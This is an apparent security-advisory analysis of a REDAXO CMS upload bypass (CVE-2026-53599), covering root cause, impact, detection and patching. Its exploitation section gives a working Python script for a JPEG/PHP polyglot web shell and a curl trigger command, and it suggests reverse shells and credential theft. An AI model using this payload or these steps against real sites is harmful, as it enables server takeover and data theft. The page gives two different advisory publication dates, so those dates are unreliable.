CVE-2026-53599: 
PHP vulnerability analysis and mitigation

CVE-2026-53599 is a file upload validation bypass vulnerability in REDAXO CMS that allows authenticated backend users to upload JPEG/PHP polyglot files with multi-segment filenames (e.g., shell.php.any.jpg), leading to remote code execution on susceptible Apache configurations. It affects REDAXO versions >= 5.18.2 and < 5.21.1, and was introduced as a regression in commit 9d008697d (PR #6213, February 7, 2025). The vulnerability was reported by researcher riodrwn, published to the GitHub Advisory Database on July 31, 2026, and is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type). It carries a CVSS v3.1 base score of 7.5 (High) (Github Advisory).

The root cause is a logic regression in rex_mediapool::isAllowedExtension() within redaxo/src/addons/mediapool/lib/mediapool.php, introduced when a correct str_contains check was replaced with two str_ends_with checks to fix false positives (e.g., foo.json matching .js). The new logic only blocks a dangerous extension if it appears as the terminal segment or the segment immediately before the final extension — it fails for any three-or-more segment chain where the blocked extension is non-terminal (e.g., shell.php.any.jpg). An attacker crafts a JPEG/PHP polyglot file named shell.php.any.jpg (MIME-classified as image/jpeg), which passes both the extension check and the filename normalization step (rex_string::normalize preserves dots). Exploitation requires the target Apache server to use a non-anchored PHP handler (e.g., mod_mime AddHandler or a FilesMatch regex without a $ anchor), which causes Apache to execute the file as PHP when requested from the public media/ directory (Github Advisory, Fix PR).

Successful exploitation grants the attacker arbitrary PHP code execution as the web-server user (e.g., www-data) on affected REDAXO deployments running on vulnerable Apache configurations. This enables full confidentiality, integrity, and availability compromise of the web server — including reading sensitive configuration files (database credentials, API keys), modifying or deleting CMS content, and potentially pivoting to other internal systems. The attack is scoped to the web-server process but can serve as a foothold for privilege escalation or lateral movement within the hosting environment (Github Advisory).

1. Reconnaissance: Identify REDAXO CMS instances running versions 5.18.2 through 5.21.0 (e.g., via CMS fingerprinting tools or Shodan). Confirm the target uses Apache with a non-anchored PHP handler (mod_mime AddHandler application/x-httpd-php .php or a FilesMatch regex without a $ end anchor).
2. Obtain backend credentials: Acquire a backend account with media[upload] permission — the standard editor role carries this permission by default.
3. Build the polyglot payload: Create a JPEG/PHP polyglot file named shell.php.any.jpg using a script such as:

jpeg_header = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b'JFIF' + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00])
php_payload = b'<?php echo "=== PWNED ==="; echo "file: ".__FILE__; echo "cmd output: ".shell_exec($_GET["x"]); ?>'
jpeg_tail = bytes([0xff,0xd9])
open('shell.php.any.jpg','wb').write(jpeg_header + php_payload + jpeg_tail)

The resulting file is MIME-classified as image/jpeg. 4. Upload the payload: Log in to the REDAXO backend and upload shell.php.any.jpg via the Mediapool. The isAllowedExtension check evaluates the final extension (jpg) and the two-segment suffix pattern (.php.jpg), both of which pass — the file is accepted and stored as media/shell.php.any.jpg. 5. Trigger execution: Request the uploaded file from the public media directory: curl "https://victim.example/media/shell.php.any.jpg?x=id". On a vulnerable Apache configuration, PHP executes the embedded code and returns command output as the web-server user (www-data). 6. Establish persistence: Use the RCE to upload additional web shells, exfiltrate credentials, or establish a reverse shell for further access (Github Advisory).

• Network: HTTP POST requests to the REDAXO mediapool upload endpoint with a filename parameter containing a multi-segment extension pattern (e.g., *.php.*.jpg); subsequent GET requests to /media/shell.php.any.jpg or similar multi-extension filenames from external IPs.
• File System: Presence of files with multi-segment extensions containing php, phtml, phar, or other blocked extensions in the REDAXO media/ directory (e.g., shell.php.any.jpg, cmd.php.txt.png); JPEG files in media/ with embedded PHP code (<?php).
• Logs: Apache access logs showing POST requests to the REDAXO backend upload endpoint followed by GET requests to media/*.php.*.jpg returning HTTP 200 with Content-Type: text/html or unexpected output; PHP error logs showing execution of files from the media/ directory.
• Process: Unusual child processes spawned by the Apache/PHP worker process (e.g., sh, bash, curl, wget, python) with arguments consistent with command execution or reverse shell activity (Github Advisory).

Upgrade REDAXO to version 5.21.1, which fixes the vulnerability by replacing the flawed str_ends_with checks with a segment-by-segment comparison that blocks any dangerous extension appearing anywhere in the dot-separated filename (commit 462e368). As a server-level workaround, ensure Apache PHP handler configurations use end-anchored FilesMatch directives (e.g., <FilesMatch \.php$>) rather than non-anchored patterns or mod_mime AddHandler for .php, which prevents multi-extension execution regardless of uploaded filenames. Additionally, restrict media[upload] permissions to only trusted backend users and consider placing the media/ directory under a configuration that disables PHP execution entirely (Github Advisory, REDAXO Release).

The vulnerability was reported by researcher riodrwn and patched by REDAXO maintainer gharlan in PR #6538 (merged June 1, 2026), with the security advisory published June 9, 2026. The fix was noted to also address a case-sensitivity gap in the previous check. A Mastodon post from @thehackerwire referenced the vulnerability shortly after public disclosure. No major media coverage or significant community controversy has been identified beyond standard vulnerability tracking (Github Advisory, Fix PR).